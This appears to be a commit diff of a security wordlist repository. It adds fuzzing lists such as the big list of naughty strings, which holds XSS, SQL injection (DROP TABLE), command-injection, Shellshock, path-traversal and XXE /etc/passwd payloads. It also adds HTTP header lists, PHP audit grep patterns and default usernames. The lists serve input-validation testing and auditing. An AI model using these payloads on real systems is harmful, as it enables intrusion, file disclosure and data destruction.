ABC<div style="x:\xE2\x80\x81expression(javascript:alert(1)">DEF
|
||||||
|
ABC<div style="x:\xE2\x80\x83expression(javascript:alert(1)">DEF
|
||||||
|
ABC<div style="x:\xE2\x80\x89expression(javascript:alert(1)">DEF
|
||||||
|
<a href="\x0Bjavascript:javascript:alert(1)" id="fuzzelement1">test</a>
|
||||||
|
<a href="\x0Fjavascript:javascript:alert(1)" id="fuzzelement1">test</a>
|
||||||
|
<a href="\xC2\xA0javascript:javascript:alert(1)" id="fuzzelement1">test</a>
|
||||||
|
<a href="\x05javascript:javascript:alert(1)" id="fuzzelement1">test</a>
|
||||||
|
<a href="\xE1\xA0\x8Ejavascript:javascript:alert(1)" id="fuzzelement1">test</a>
|
||||||
|
<a href="\x18javascript:javascript:alert(1)" id="fuzzelement1">test</a>
|
||||||
|
<a href="\x11javascript:javascript:alert(1)" id="fuzzelement1">test</a>
|
||||||
|
<a href="\xE2\x80\x88javascript:javascript:alert(1)" id="fuzzelement1">test</a>
|
||||||
|
<a href="\xE2\x80\x89javascript:javascript:alert(1)" id="fuzzelement1">test</a>
|
||||||
|
<a href="\xE2\x80\x80javascript:javascript:alert(1)" id="fuzzelement1">test</a>
|
||||||
|
<a href="\x17javascript:javascript:alert(1)" id="fuzzelement1">test</a>
|
||||||
|
<a href="\x03javascript:javascript:alert(1)" id="fuzzelement1">test</a>
|
||||||
|
<a href="\x0Ejavascript:javascript:alert(1)" id="fuzzelement1">test</a>
|
||||||
|
<a href="\x1Ajavascript:javascript:alert(1)" id="fuzzelement1">test</a>
|
||||||
|
<a href="\x00javascript:javascript:alert(1)" id="fuzzelement1">test</a>
|
||||||
|
<a href="\x10javascript:javascript:alert(1)" id="fuzzelement1">test</a>
|
||||||
|
<a href="\xE2\x80\x82javascript:javascript:alert(1)" id="fuzzelement1">test</a>
|
||||||
|
<a href="\x20javascript:javascript:alert(1)" id="fuzzelement1">test</a>
|
||||||
|
<a href="\x13javascript:javascript:alert(1)" id="fuzzelement1">test</a>
|
||||||
|
<a href="\x09javascript:javascript:alert(1)" id="fuzzelement1">test</a>
|
||||||
|
<a href="\xE2\x80\x8Ajavascript:javascript:alert(1)" id="fuzzelement1">test</a>
|
||||||
|
<a href="\x14javascript:javascript:alert(1)" id="fuzzelement1">test</a>
|
||||||
|
<a href="\x19javascript:javascript:alert(1)" id="fuzzelement1">test</a>
|
||||||
|
<a href="\xE2\x80\xAFjavascript:javascript:alert(1)" id="fuzzelement1">test</a>
|
||||||
|
<a href="\x1Fjavascript:javascript:alert(1)" id="fuzzelement1">test</a>
|
||||||
|
<a href="\xE2\x80\x81javascript:javascript:alert(1)" id="fuzzelement1">test</a>
|
||||||
|
<a href="\x1Djavascript:javascript:alert(1)" id="fuzzelement1">test</a>
|
||||||
|
<a href="\xE2\x80\x87javascript:javascript:alert(1)" id="fuzzelement1">test</a>
|
||||||
|
<a href="\x07javascript:javascript:alert(1)" id="fuzzelement1">test</a>
|
||||||
|
<a href="\xE1\x9A\x80javascript:javascript:alert(1)" id="fuzzelement1">test</a>
|
||||||
|
<a href="\xE2\x80\x83javascript:javascript:alert(1)" id="fuzzelement1">test</a>
|
||||||
|
<a href="\x04javascript:javascript:alert(1)" id="fuzzelement1">test</a>
|
||||||
|
<a href="\x01javascript:javascript:alert(1)" id="fuzzelement1">test</a>
|
||||||
|
<a href="\x08javascript:javascript:alert(1)" id="fuzzelement1">test</a>
|
||||||
|
<a href="\xE2\x80\x84javascript:javascript:alert(1)" id="fuzzelement1">test</a>
|
||||||
|
<a href="\xE2\x80\x86javascript:javascript:alert(1)" id="fuzzelement1">test</a>
|
||||||
|
<a href="\xE3\x80\x80javascript:javascript:alert(1)" id="fuzzelement1">test</a>
|
||||||
|
<a href="\x12javascript:javascript:alert(1)" id="fuzzelement1">test</a>
|
||||||
|
<a href="\x0Djavascript:javascript:alert(1)" id="fuzzelement1">test</a>
|
||||||
|
<a href="\x0Ajavascript:javascript:alert(1)" id="fuzzelement1">test</a>
|
||||||
|
<a href="\x0Cjavascript:javascript:alert(1)" id="fuzzelement1">test</a>
|
||||||
|
<a href="\x15javascript:javascript:alert(1)" id="fuzzelement1">test</a>
|
||||||
|
<a href="\xE2\x80\xA8javascript:javascript:alert(1)" id="fuzzelement1">test</a>
|
||||||
|
<a href="\x16javascript:javascript:alert(1)" id="fuzzelement1">test</a>
|
||||||
|
<a href="\x02javascript:javascript:alert(1)" id="fuzzelement1">test</a>
|
||||||
|
<a href="\x1Bjavascript:javascript:alert(1)" id="fuzzelement1">test</a>
|
||||||
|
<a href="\x06javascript:javascript:alert(1)" id="fuzzelement1">test</a>
|
||||||
|
<a href="\xE2\x80\xA9javascript:javascript:alert(1)" id="fuzzelement1">test</a>
|
||||||
|
<a href="\xE2\x80\x85javascript:javascript:alert(1)" id="fuzzelement1">test</a>
|
||||||
|
<a href="\x1Ejavascript:javascript:alert(1)" id="fuzzelement1">test</a>
|
||||||
|
<a href="\xE2\x81\x9Fjavascript:javascript:alert(1)" id="fuzzelement1">test</a>
|
||||||
|
<a href="\x1Cjavascript:javascript:alert(1)" id="fuzzelement1">test</a>
|
||||||
|
<a href="javascript\x00:javascript:alert(1)" id="fuzzelement1">test</a>
|
||||||
|
<a href="javascript\x3A:javascript:alert(1)" id="fuzzelement1">test</a>
|
||||||
|
<a href="javascript\x09:javascript:alert(1)" id="fuzzelement1">test</a>
|
||||||
|
<a href="javascript\x0D:javascript:alert(1)" id="fuzzelement1">test</a>
|
||||||
|
<a href="javascript\x0A:javascript:alert(1)" id="fuzzelement1">test</a>
|
||||||
|
`"'><img src=xxx:x \x0Aonerror=javascript:alert(1)>
|
||||||
|
`"'><img src=xxx:x \x22onerror=javascript:alert(1)>
|
||||||
|
`"'><img src=xxx:x \x0Bonerror=javascript:alert(1)>
|
||||||
|
`"'><img src=xxx:x \x0Donerror=javascript:alert(1)>
|
||||||
|
`"'><img src=xxx:x \x2Fonerror=javascript:alert(1)>
|
||||||
|
`"'><img src=xxx:x \x09onerror=javascript:alert(1)>
|
||||||
|
`"'><img src=xxx:x \x0Conerror=javascript:alert(1)>
|
||||||
|
`"'><img src=xxx:x \x00onerror=javascript:alert(1)>
|
||||||
|
`"'><img src=xxx:x \x27onerror=javascript:alert(1)>
|
||||||
|
`"'><img src=xxx:x \x20onerror=javascript:alert(1)>
|
||||||
|
"`'><script>\x3Bjavascript:alert(1)</script>
|
||||||
|
"`'><script>\x0Djavascript:alert(1)</script>
|
||||||
|
"`'><script>\xEF\xBB\xBFjavascript:alert(1)</script>
|
||||||
|
"`'><script>\xE2\x80\x81javascript:alert(1)</script>
|
||||||
|
"`'><script>\xE2\x80\x84javascript:alert(1)</script>
|
||||||
|
"`'><script>\xE3\x80\x80javascript:alert(1)</script>
|
||||||
|
"`'><script>\x09javascript:alert(1)</script>
|
||||||
|
"`'><script>\xE2\x80\x89javascript:alert(1)</script>
|
||||||
|
"`'><script>\xE2\x80\x85javascript:alert(1)</script>
|
||||||
|
"`'><script>\xE2\x80\x88javascript:alert(1)</script>
|
||||||
|
"`'><script>\x00javascript:alert(1)</script>
|
||||||
|
"`'><script>\xE2\x80\xA8javascript:alert(1)</script>
|
||||||
|
"`'><script>\xE2\x80\x8Ajavascript:alert(1)</script>
|
||||||
|
"`'><script>\xE1\x9A\x80javascript:alert(1)</script>
|
||||||
|
"`'><script>\x0Cjavascript:alert(1)</script>
|
||||||
|
"`'><script>\x2Bjavascript:alert(1)</script>
|
||||||
|
"`'><script>\xF0\x90\x96\x9Ajavascript:alert(1)</script>
|
||||||
|
"`'><script>-javascript:alert(1)</script>
|
||||||
|
"`'><script>\x0Ajavascript:alert(1)</script>
|
||||||
|
"`'><script>\xE2\x80\xAFjavascript:alert(1)</script>
|
||||||
|
"`'><script>\x7Ejavascript:alert(1)</script>
|
||||||
|
"`'><script>\xE2\x80\x87javascript:alert(1)</script>
|
||||||
|
"`'><script>\xE2\x81\x9Fjavascript:alert(1)</script>
|
||||||
|
"`'><script>\xE2\x80\xA9javascript:alert(1)</script>
|
||||||
|
"`'><script>\xC2\x85javascript:alert(1)</script>
|
||||||
|
"`'><script>\xEF\xBF\xAEjavascript:alert(1)</script>
|
||||||
|
"`'><script>\xE2\x80\x83javascript:alert(1)</script>
|
||||||
|
"`'><script>\xE2\x80\x8Bjavascript:alert(1)</script>
|
||||||
|
"`'><script>\xEF\xBF\xBEjavascript:alert(1)</script>
|
||||||
|
"`'><script>\xE2\x80\x80javascript:alert(1)</script>
|
||||||
|
"`'><script>\x21javascript:alert(1)</script>
|
||||||
|
"`'><script>\xE2\x80\x82javascript:alert(1)</script>
|
||||||
|
"`'><script>\xE2\x80\x86javascript:alert(1)</script>
|
||||||
|
"`'><script>\xE1\xA0\x8Ejavascript:alert(1)</script>
|
||||||
|
"`'><script>\x0Bjavascript:alert(1)</script>
|
||||||
|
"`'><script>\x20javascript:alert(1)</script>
|
||||||
|
"`'><script>\xC2\xA0javascript:alert(1)</script>
|
||||||
|
<img \x00src=x onerror="alert(1)">
|
||||||
|
<img \x47src=x onerror="javascript:alert(1)">
|
||||||
|
<img \x11src=x onerror="javascript:alert(1)">
|
||||||
|
<img \x12src=x onerror="javascript:alert(1)">
|
||||||
|
<img\x47src=x onerror="javascript:alert(1)">
|
||||||
|
<img\x10src=x onerror="javascript:alert(1)">
|
||||||
|
<img\x13src=x onerror="javascript:alert(1)">
|
||||||
|
<img\x32src=x onerror="javascript:alert(1)">
|
||||||
|
<img\x47src=x onerror="javascript:alert(1)">
|
||||||
|
<img\x11src=x onerror="javascript:alert(1)">
|
||||||
|
<img \x47src=x onerror="javascript:alert(1)">
|
||||||
|
<img \x34src=x onerror="javascript:alert(1)">
|
||||||
|
<img \x39src=x onerror="javascript:alert(1)">
|
||||||
|
<img \x00src=x onerror="javascript:alert(1)">
|
||||||
|
<img src\x09=x onerror="javascript:alert(1)">
|
||||||
|
<img src\x10=x onerror="javascript:alert(1)">
|
||||||
|
<img src\x13=x onerror="javascript:alert(1)">
|
||||||
|
<img src\x32=x onerror="javascript:alert(1)">
|
||||||
|
<img src\x12=x onerror="javascript:alert(1)">
|
||||||
|
<img src\x11=x onerror="javascript:alert(1)">
|
||||||
|
<img src\x00=x onerror="javascript:alert(1)">
|
||||||
|
<img src\x47=x onerror="javascript:alert(1)">
|
||||||
|
<img src=x\x09onerror="javascript:alert(1)">
|
||||||
|
<img src=x\x10onerror="javascript:alert(1)">
|
||||||
|
<img src=x\x11onerror="javascript:alert(1)">
|
||||||
|
<img src=x\x12onerror="javascript:alert(1)">
|
||||||
|
<img src=x\x13onerror="javascript:alert(1)">
|
||||||
|
<img[a][b][c]src[d]=x[e]onerror=[f]"alert(1)">
|
||||||
|
<img src=x onerror=\x09"javascript:alert(1)">
|
||||||
|
<img src=x onerror=\x10"javascript:alert(1)">
|
||||||
|
<img src=x onerror=\x11"javascript:alert(1)">
|
||||||
|
<img src=x onerror=\x12"javascript:alert(1)">
|
||||||
|
<img src=x onerror=\x32"javascript:alert(1)">
|
||||||
|
<img src=x onerror=\x00"javascript:alert(1)">
|
||||||
|
<a href=javascript:javascript:alert(1)>XXX</a>
|
||||||
|
<img src="x` `<script>javascript:alert(1)</script>"` `>
|
||||||
|
<img src onerror /" '"= alt=javascript:alert(1)//">
|
||||||
|
<title onpropertychange=javascript:alert(1)></title><title title=>
|
||||||
|
<a href=http://foo.bar/#x=`y></a><img alt="`><img src=x:x onerror=javascript:alert(1)></a>">
|
||||||
|
<!--[if]><script>javascript:alert(1)</script -->
|
||||||
|
<!--[if<img src=x onerror=javascript:alert(1)//]> -->
|
||||||
|
<script src="/\%(jscript)s"></script>
|
||||||
|
<script src="\\%(jscript)s"></script>
|
||||||
|
<IMG """><SCRIPT>alert("XSS")</SCRIPT>">
|
||||||
|
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
|
||||||
|
<IMG SRC=# onmouseover="alert('xxs')">
|
||||||
|
<IMG SRC= onmouseover="alert('xxs')">
|
||||||
|
<IMG onmouseover="alert('xxs')">
|
||||||
|
<IMG SRC=javascript:alert('XSS')>
|
||||||
|
<IMG SRC=javascript:alert('XSS')>
|
||||||
|
<IMG SRC=javascript:alert('XSS')>
|
||||||
|
<IMG SRC="jav ascript:alert('XSS');">
|
||||||
|
<IMG SRC="jav	ascript:alert('XSS');">
|
||||||
|
<IMG SRC="jav
ascript:alert('XSS');">
|
||||||
|
<IMG SRC="jav
ascript:alert('XSS');">
|
||||||
|
perl -e 'print "<IMG SRC=java\0script:alert(\"XSS\")>";' > out
|
||||||
|
<IMG SRC="  javascript:alert('XSS');">
|
||||||
|
<SCRIPT/XSS SRC="http://ha.ckers.org/xss.js"></SCRIPT>
|
||||||
|
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")>
|
||||||
|
<SCRIPT/SRC="http://ha.ckers.org/xss.js"></SCRIPT>
|
||||||
|
<<SCRIPT>alert("XSS");//<</SCRIPT>
|
||||||
|
<SCRIPT SRC=http://ha.ckers.org/xss.js?< B >
|
||||||
|
<SCRIPT SRC=//ha.ckers.org/.j>
|
||||||
|
<IMG SRC="javascript:alert('XSS')"
|
||||||
|
<iframe src=http://ha.ckers.org/scriptlet.html <
|
||||||
|
\";alert('XSS');//
|
||||||
|
<u oncopy=alert()> Copy me</u>
|
||||||
|
<i onwheel=alert(1)> Scroll over me </i>
|
||||||
|
<plaintext>
|
||||||
|
http://a/%%30%30
|
||||||
|
</textarea><script>alert(123)</script>
|
||||||
|
|
||||||
|
# SQL Injection
|
||||||
|
#
|
||||||
|
# Strings which can cause a SQL injection if inputs are not sanitized
|
||||||
|
|
||||||
|
1;DROP TABLE users
|
||||||
|
1'; DROP TABLE users-- 1
|
||||||
|
' OR 1=1 -- 1
|
||||||
|
' OR '1'='1
|
||||||
|
|
||||||
|
%
|
||||||
|
_
|
||||||
|
|
||||||
|
# Server Code Injection
|
||||||
|
#
|
||||||
|
# Strings which can cause user to run code on server as a privileged user (c.f. https://news.ycombinator.com/item?id=7665153)
|
||||||
|
|
||||||
|
-
|
||||||
|
--
|
||||||
|
--version
|
||||||
|
--help
|
||||||
|
$USER
|
||||||
|
/dev/null; touch /tmp/blns.fail ; echo
|
||||||
|
`touch /tmp/blns.fail`
|
||||||
|
$(touch /tmp/blns.fail)
|
||||||
|
@{[system "touch /tmp/blns.fail"]}
|
||||||
|
|
||||||
|
# Command Injection (Ruby)
|
||||||
|
#
|
||||||
|
# Strings which can call system commands within Ruby/Rails applications
|
||||||
|
|
||||||
|
eval("puts 'hello world'")
|
||||||
|
System("ls -al /")
|
||||||
|
`ls -al /`
|
||||||
|
Kernel.exec("ls -al /")
|
||||||
|
Kernel.exit(1)
|
||||||
|
%x('ls -al /')
|
||||||
|
|
||||||
|
# XXE Injection (XML)
|
||||||
|
#
|
||||||
|
# String which can reveal system files when parsed by a badly configured XML parser
|
||||||
|
|
||||||
|
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [ <!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo>
|
||||||
|
|
||||||
|
# Unwanted Interpolation
|
||||||
|
#
|
||||||
|
# Strings which can be accidentally expanded into different strings if evaluated in the wrong context, e.g. used as a printf format string or via Perl or shell eval. Might expose sensitive data from the program doing the interpolation, or might just represent the wrong string.
|
||||||
|
|
||||||
|
$HOME
|
||||||
|
$ENV{'HOME'}
|
||||||
|
%d
|
||||||
|
%s%s%s%s%s
|
||||||
|
{0}
|
||||||
|
%*.*s
|
||||||
|
%@
|
||||||
|
%n
|
||||||
|
File:///
|
||||||
|
|
||||||
|
# File Inclusion
|
||||||
|
#
|
||||||
|
# Strings which can cause user to pull in files that should not be a part of a web server
|
||||||
|
|
||||||
|
../../../../../../../../../../../etc/passwd%00
|
||||||
|
../../../../../../../../../../../etc/hosts
|
||||||
|
|
||||||
|
# Known CVEs and Vulnerabilities
|
||||||
|
#
|
||||||
|
# Strings that test for known vulnerabilities
|
||||||
|
|
||||||
|
() { 0; }; touch /tmp/blns.shellshock1.fail;
|
||||||
|
() { _; } >_[$($())] { touch /tmp/blns.shellshock2.fail; }
|
||||||
|
<<< %s(un='%s') = %u
|
||||||
|
+++ATH0
|
||||||
|
|
||||||
|
# MSDOS/Windows Special Filenames
|
||||||
|
#
|
||||||
|
# Strings which are reserved characters in MSDOS/Windows
|
||||||
|
|
||||||
|
CON
|
||||||
|
PRN
|
||||||
|
AUX
|
||||||
|
CLOCK$
|
||||||
|
NUL
|
||||||
|
A:
|
||||||
|
ZZ:
|
||||||
|
COM1
|
||||||
|
LPT1
|
||||||
|
LPT2
|
||||||
|
LPT3
|
||||||
|
COM2
|
||||||
|
COM3
|
||||||
|
COM4
|
||||||
|
|
||||||
|
# IRC specific strings
|
||||||
|
#
|
||||||
|
# Strings that may occur on IRC clients that make security products freak out
|
||||||
|
|
||||||
|
DCC SEND STARTKEYLOGGER 0 0 0
|
||||||
|
|
||||||
|
# Scunthorpe Problem
|
||||||
|
#
|
||||||
|
# Innocuous strings which may be blocked by profanity filters (https://en.wikipedia.org/wiki/Scunthorpe_problem)
|
||||||
|
|
||||||
|
Scunthorpe General Hospital
|
||||||
|
Penistone Community Church
|
||||||
|
Lightwater Country Park
|
||||||
|
Jimmy Clitheroe
|
||||||
|
Horniman Museum
|
||||||
|
shitake mushrooms
|
||||||
|
RomansInSussex.co.uk
|
||||||
|
http://www.cum.qc.ca/
|
||||||
|
Craig Cockburn, Software Specialist
|
||||||
|
Linda Callahan
|
||||||
|
Dr. Herman I. Libshitz
|
||||||
|
magna cum laude
|
||||||
|
Super Bowl XXX
|
||||||
|
medieval erection of parapets
|
||||||
|
evaluate
|
||||||
|
mocha
|
||||||
|
expression
|
||||||
|
Arsenal canal
|
||||||
|
classic
|
||||||
|
Tyson Gay
|
||||||
|
Dick Van Dyke
|
||||||
|
basement
|
||||||
|
|
||||||
|
# Human injection
|
||||||
|
#
|
||||||
|
# Strings which may cause human to reinterpret worldview
|
||||||
|
|
||||||
|
If you're reading this, you've been in a coma for almost 20 years now. We're trying a new technique. We don't know where this message will end up in your dream, but we hope it works. Please wake up, we miss you.
|
||||||
|
|
||||||
|
# Terminal escape codes
|
||||||
|
#
|
||||||
|
# Strings which punish the fools who use cat/type on this file
|
||||||
|
|
||||||
|
Roses are [0;31mred[0m, violets are [0;34mblue. Hope you enjoy terminal hue
|
||||||
|
But now...[20Cfor my greatest trick...[8m
|
||||||
|
The quick brown fox... [Beeeep]
|
||||||
|
|
||||||
|
# iOS Vulnerabilities
|
||||||
|
#
|
||||||
|
# Strings which crashed iMessage in various versions of iOS
|
||||||
|
|
||||||
|
Powerلُلُصّبُلُلصّبُررً ॣ ॣh ॣ ॣ冗
|
||||||
|
🏳0🌈️
|
||||||
|
జ్ఞా
|
||||||
44
Fuzzing/numeric-fields-only.txt
Normal file
44
Fuzzing/numeric-fields-only.txt
Normal file
@ -0,0 +1,44 @@
|
|||||||
|
16649142472222295162770764775
|
||||||
|
2.07564741538e+16
|
||||||
|
3.38800266804e+16
|
||||||
|
-139333426276771806651771
|
||||||
|
-1.97684995314e+16
|
||||||
|
0x481b49d0f8d5a3e7f821066157c37c
|
||||||
|
9223372036854775807
|
||||||
|
9223372036854775808
|
||||||
|
-9223372036854775809
|
||||||
|
1.79769313486e+308
|
||||||
|
1.79769313486e+308
|
||||||
|
2139095040
|
||||||
|
2.22507385851e-308
|
||||||
|
79228162514264337593543950336L
|
||||||
|
79228162514264337593543950336l
|
||||||
|
79228162514264337593543950336B
|
||||||
|
inf
|
||||||
|
Infinity
|
||||||
|
-Infinity
|
||||||
|
NaN
|
||||||
|
255
|
||||||
|
65535
|
||||||
|
4294967295
|
||||||
|
18446744073709551615
|
||||||
|
256
|
||||||
|
65536
|
||||||
|
4294967296
|
||||||
|
18446744073709551616
|
||||||
|
127
|
||||||
|
32767
|
||||||
|
2147483647
|
||||||
|
9223372036854775807
|
||||||
|
128
|
||||||
|
32768
|
||||||
|
2147483648
|
||||||
|
9223372036854775808
|
||||||
|
-128
|
||||||
|
-32768
|
||||||
|
-2147483648
|
||||||
|
-9223372036854775808
|
||||||
|
-129
|
||||||
|
-32769
|
||||||
|
-2147483649
|
||||||
|
-9223372036854775809
|
||||||
@ -0,0 +1,21 @@
|
|||||||
|
DNT: 1
|
||||||
|
Front-End-Https: on
|
||||||
|
Proxy-Connection: keep-alive
|
||||||
|
X-Att-Deviceid: GT-P7320/P7320XXLPG
|
||||||
|
X-CSRFToken: DECAFC0FFEEBAD
|
||||||
|
X-Correlation-ID: f058ebd6-02f7-4d3f-942e-904344e8cde5
|
||||||
|
X-Csrf-Token: DECAFC0FFEEBAD
|
||||||
|
X-XSRF-TOKEN: DECAFC0FFEEBAD
|
||||||
|
X-Do-Not-Track: 1
|
||||||
|
X-Forwarded-For: 127.0.0.1
|
||||||
|
X-Forwarded-For: client1, proxy1, proxy2
|
||||||
|
X-Forwarded-Host: localhost
|
||||||
|
X-Forwarded-Host: localhost:8080
|
||||||
|
X-Forwarded-Proto: https
|
||||||
|
X-HTTP-Method-Override: PUT
|
||||||
|
X-ProxyUser-Ip: 127.0.0.1
|
||||||
|
X-Request-ID: f058ebd6-02f7-4d3f-942e-904344e8cde5
|
||||||
|
X-Requested-With: XMLHttpRequest
|
||||||
|
X-UIDH: 31337DEADBEEFCAFE
|
||||||
|
X-Wap-Profile: http://wap.samsungmobile.com/uaprof/SGH-I777.xml
|
||||||
|
X-XSRF-TOKEN: DECAFC0FFEEBAD
|
||||||
@ -0,0 +1,19 @@
|
|||||||
|
DNT
|
||||||
|
Front-End-Https
|
||||||
|
Proxy-Connection
|
||||||
|
X-ATT-DeviceId
|
||||||
|
X-CSRFToken
|
||||||
|
X-Correlation-ID
|
||||||
|
X-Csrf-Token
|
||||||
|
X-XSRF-TOKEN
|
||||||
|
X-Do-Not-Track
|
||||||
|
X-Forwarded-For
|
||||||
|
X-Forwarded-Host
|
||||||
|
X-Forwarded-Proto
|
||||||
|
X-Http-Method-Override
|
||||||
|
X-ProxyUser-Ip
|
||||||
|
X-Request-ID
|
||||||
|
X-Requested-With
|
||||||
|
X-UIDH
|
||||||
|
X-Wap-Profile
|
||||||
|
X-XSRF-TOKEN
|
||||||
@ -0,0 +1,45 @@
|
|||||||
|
Accept-Charset: utf-8
|
||||||
|
Accept-Datetime: Thu, 31 May 2007 20:35:00 GMT
|
||||||
|
Accept-Encoding: gzip, deflate
|
||||||
|
Accept-Language: en-US
|
||||||
|
Accept: text/plain
|
||||||
|
Authorization: Basic QWxhZGRpbjpvcGVuIHNlc2FtZQ==
|
||||||
|
Cache-Control: no-cache
|
||||||
|
Connection: Upgrade
|
||||||
|
Connection: keep-alive
|
||||||
|
Content-Length: 348
|
||||||
|
Content-MD5: Q2hlY2sgSW50ZWdyaXR5IQ==
|
||||||
|
Content-Type: application/x-www-form-urlencoded
|
||||||
|
Cookie: $Version=1; Skin=new;
|
||||||
|
Date: Tue, 15 Nov 1994 08:12:31 GMT
|
||||||
|
Expect: 100-continue
|
||||||
|
Forwarded: for=192.0.2.43, for=198.51.100.17
|
||||||
|
Forwarded: for=192.0.2.60;proto=http;by=203.0.113.43
|
||||||
|
From: user@example.com
|
||||||
|
Host: localhost
|
||||||
|
Host: localhost:8080
|
||||||
|
If-Match: "737060cd8c284d8af7ad3082f209582d"
|
||||||
|
If-Match: W/"weakmatch"
|
||||||
|
If-Match: "im", "not", "dead", "yet"
|
||||||
|
If-Match: *
|
||||||
|
If-Modified-Since: Sat, 29 Oct 1994 19:43:31 GMT
|
||||||
|
If-None-Match: "737060cd8c284d8af7ad3082f209582d"
|
||||||
|
If-None-Match: W/"weakmatch"
|
||||||
|
If-None-Match: *
|
||||||
|
If-Range: "737060cd8c284d8af7ad3082f209582d"
|
||||||
|
If-Unmodified-Since: Sat, 29 Oct 1994 19:43:31 GMT
|
||||||
|
Max-Forwards: 10
|
||||||
|
Origin: http://localhost
|
||||||
|
Pragma: no-cache
|
||||||
|
Proxy-Authorization: Basic QWxhZGRpbjpvcGVuIHNlc2FtZQ==
|
||||||
|
Range: bytes=500-999
|
||||||
|
Referer: http://localhost/
|
||||||
|
TE: trailers, deflate
|
||||||
|
Upgrade: HTTP/2.0
|
||||||
|
Upgrade: HTTPS/1.3
|
||||||
|
Upgrade: IRC/6.9
|
||||||
|
Upgrade: RTA/x11
|
||||||
|
Upgrade: websocket
|
||||||
|
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:12.0) Gecko/20100101 Firefox/21.0
|
||||||
|
Via: 1.0 fred, 1.1 example.com (Apache/1.1)
|
||||||
|
Warning: 199 Miscellaneous warning
|
||||||
@ -0,0 +1,33 @@
|
|||||||
|
Accept
|
||||||
|
Accept-Charset
|
||||||
|
Accept-Datetime
|
||||||
|
Accept-Encoding
|
||||||
|
Accept-Language
|
||||||
|
Authorization
|
||||||
|
Cache-Control
|
||||||
|
Connection
|
||||||
|
Content-Length
|
||||||
|
Content-MD5
|
||||||
|
Content-Type
|
||||||
|
Cookie
|
||||||
|
Date
|
||||||
|
Expect
|
||||||
|
Forwarded
|
||||||
|
From
|
||||||
|
Host
|
||||||
|
If-Match
|
||||||
|
If-Modified-Since
|
||||||
|
If-None-Match
|
||||||
|
If-Range
|
||||||
|
If-Unmodified-Since
|
||||||
|
Max-Forwards
|
||||||
|
Origin
|
||||||
|
Pragma
|
||||||
|
Proxy-Authorization
|
||||||
|
Range
|
||||||
|
Referer
|
||||||
|
TE
|
||||||
|
Upgrade
|
||||||
|
User-Agent
|
||||||
|
Via
|
||||||
|
Warning
|
||||||
@ -8,3 +8,4 @@ sessid
|
|||||||
sid
|
sid
|
||||||
viewstate
|
viewstate
|
||||||
zenid
|
zenid
|
||||||
|
PHPSESSID
|
||||||
|
|||||||
46
Pattern-Matching/grepstrings-auditing-php.md
Normal file
46
Pattern-Matching/grepstrings-auditing-php.md
Normal file
@ -0,0 +1,46 @@
|
|||||||
|
# Auditing php source code with grep
|
||||||
|
|
||||||
|
## XSS
|
||||||
|
`grep -Ri "echo" *`
|
||||||
|
|
||||||
|
`grep -Ri "\$_" * | grep "echo"`
|
||||||
|
|
||||||
|
`grep -Ri "\$_GET" * | grep "echo"`
|
||||||
|
|
||||||
|
`grep -Ri "\$_POST" * | grep "echo"`
|
||||||
|
|
||||||
|
`grep -Ri "\$_REQUEST" * | grep "echo"`
|
||||||
|
|
||||||
|
|
||||||
|
- - -
|
||||||
|
|
||||||
|
|
||||||
|
## SQL Injection
|
||||||
|
`grep -Ri "$sql" *`
|
||||||
|
|
||||||
|
`grep -RI "mysqli(" *`
|
||||||
|
|
||||||
|
`grep -Ri "pdo(" * `
|
||||||
|
|
||||||
|
|
||||||
|
- - -
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
## File inclusion
|
||||||
|
`grep -Ri "file_include(" * `
|
||||||
|
|
||||||
|
`grep -Ri "file_get_contents(" * `
|
||||||
|
|
||||||
|
`grep -Ri "include(" *`
|
||||||
|
|
||||||
|
|
||||||
|
- - -
|
||||||
|
|
||||||
|
|
||||||
|
## Command execution
|
||||||
|
`grep -Ri "shell_exec(" *`
|
||||||
|
|
||||||
|
`grep -RIt "system(" *`
|
||||||
|
|
||||||
|
`grep -Ri "exec(" * `
|
||||||
@ -92,3 +92,6 @@ str_repeat
|
|||||||
unserialize
|
unserialize
|
||||||
register_tick_function
|
register_tick_function
|
||||||
register_shutdown_function
|
register_shutdown_function
|
||||||
|
getuid
|
||||||
|
uname
|
||||||
|
gethostname
|
||||||
|
|||||||
@ -40,8 +40,12 @@ Significant effort is made to give attribution for these lists whenever possible
|
|||||||
- Great thanks to Michael Henriksen for allowing us to include his Gitrob project's signatures
|
- Great thanks to Michael Henriksen for allowing us to include his Gitrob project's signatures
|
||||||
- Honored to have @Brutelogic's brilliant XSS Cheatsheet added to the Fuzzing section!
|
- Honored to have @Brutelogic's brilliant XSS Cheatsheet added to the Fuzzing section!
|
||||||
- 0xsobky's Ultimate XSS Polyglot!
|
- 0xsobky's Ultimate XSS Polyglot!
|
||||||
- otih for bruteforce collected username and password lists
|
- @otih for bruteforce collected username and password lists
|
||||||
- @govolution for betterdefaultpasslist (https://github.com/govolution/betterdefaultpasslist)
|
- @govolution for betterdefaultpasslist (https://github.com/govolution/betterdefaultpasslist)
|
||||||
|
- Max Woolf (@minimaxir) for **big-list-of-naughty-strings** (https://github.com/minimaxir/big-list-of-naughty-strings) [`/Fuzzing/big-list-of-naughty-strings.txt`]
|
||||||
|
- Ian Gallagher (@craSH) for **http-request-headers** [`/Miscellaneous/http-request-headers/`]
|
||||||
|
- @badibouzouk for **Domino Hunter** (https://sourceforge.net/projects/dominohunter/) [`/Discovery/Web-Content/Domino-Hunter/`]
|
||||||
|
- @coldfusion39 for **domi-owned** (https://github.com/coldfusion39/domi-owned) [`/Discovery/Web-Content/domino-*-coldfusion39.txt`]
|
||||||
|
|
||||||
This project stays great because of care and love from the community, and we will never forget that.
|
This project stays great because of care and love from the community, and we will never forget that.
|
||||||
|
|
||||||
|
|||||||
@ -9,3 +9,9 @@ user
|
|||||||
administrator
|
administrator
|
||||||
oracle
|
oracle
|
||||||
ftp
|
ftp
|
||||||
|
pi
|
||||||
|
puppet
|
||||||
|
ansible
|
||||||
|
ec2-user
|
||||||
|
vagrant
|
||||||
|
azureuser
|
||||||
|
|||||||
Loading…
x
Reference in New Issue
Block a user